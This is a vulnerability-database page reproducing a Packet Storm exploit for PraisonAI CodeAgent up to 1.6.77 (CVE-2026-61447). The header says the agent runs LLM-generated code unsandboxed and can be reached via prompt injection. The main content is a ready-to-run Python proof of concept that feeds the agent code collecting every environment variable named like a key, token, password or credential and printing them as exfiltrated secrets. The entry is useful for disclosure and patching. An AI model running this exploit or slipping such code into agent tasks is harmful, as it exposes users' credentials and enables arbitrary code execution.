Lucene search
+L

PraisonAI CodeAgent 1.6.77 Remote Code Execution

🗓️ 11 Aug 2026 00:00:00Reported by Mohammed Idrees BanyamerType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 38 Views

PraisonAI CodeAgent executes LLM-generated code without sandboxing, enabling RCE and secret exfiltration in versions up to 1.6.77.

Related
Code
#!/usr/bin/env python3
    # Exploit Title:         PraisonAI CodeAgent 1.6.77 - Remote Code Execution
    # CVE:                   CVE-2026-61447
    # Date:                  2026-07-13
    # Exploit Author:        Mohammed Idrees Banyamer
    # Author Country:        Jordan
    # Instagram:             @banyamer_security
    # Author GitHub:         https://github.com/mbanyamer
    # Author Blog  :         https://banyamersecurity.com/blog/
    # Vendor Homepage:       https://github.com/MervinPraison/PraisonAI
    # Software Link:         https://pypi.org/project/praisonaiagents/
    # Affected:              praisonaiagents <= 1.6.77
    # Tested on:             praisonaiagents 1.6.77
    # Category:              Remote Code Execution
    # Platform:              Linux / Windows / macOS
    # Exploit Type:          Python Script
    # CVSS:                  10.0 (Critical)
    # Description:           The CodeAgent._execute_python() in PraisonAI executes LLM-generated code without sandboxing, AST validation, or import restrictions. This allows full environment secret exfiltration and arbitrary code execution via prompt injection.
    # Fixed in:              praisonaiagents >= 1.6.78
    # Usage:
    #   python3 exploit.py
    #
    # Examples:
    #   python3 exploit.py
    #
    # Options:
    #   --
    #
    # Notes:
    #   • Requires the vulnerable praisonaiagents package installed.
    #   • Demonstrates direct RCE and secret leakage.
    #
    # How to Use
    #
    # Step 1:
    #   pip install praisonaiagents==1.6.77
    #
    # Step 2:
    #   python3 exploit.py
    
    def banner():
        print(r"""
    ╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
    ║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
    ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝
    ║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
    ║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
    ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
            ╔═╗ Banyamer Security ╔═╗
    """)
    
    banner()
    
    from praisonaiagents.agent.code_agent import CodeAgent
    import json
    
    agent = CodeAgent(name="poc-agent")
    
    malicious_code = """
    import os
    import json
    secrets = {k: v for k, v in os.environ.items() 
               if any(keyword in k.upper() for keyword in 
                      ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'API', 'AUTH'])}
    print("=== EXFILTRATED SECRETS ===")
    print(json.dumps(secrets, indent=2))
    """
    
    print("Executing malicious LLM-generated code...")
    result = agent.execute(malicious_code)
    
    print("\n=== Execution Result ===")
    print("STDOUT:", result.get('stdout', ''))
    print("STDERR:", result.get('stderr', ''))
    print("Return Code:", result.get('returncode', ''))

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 410
CVSS 3.110
EPSS0.0249
SSVC
38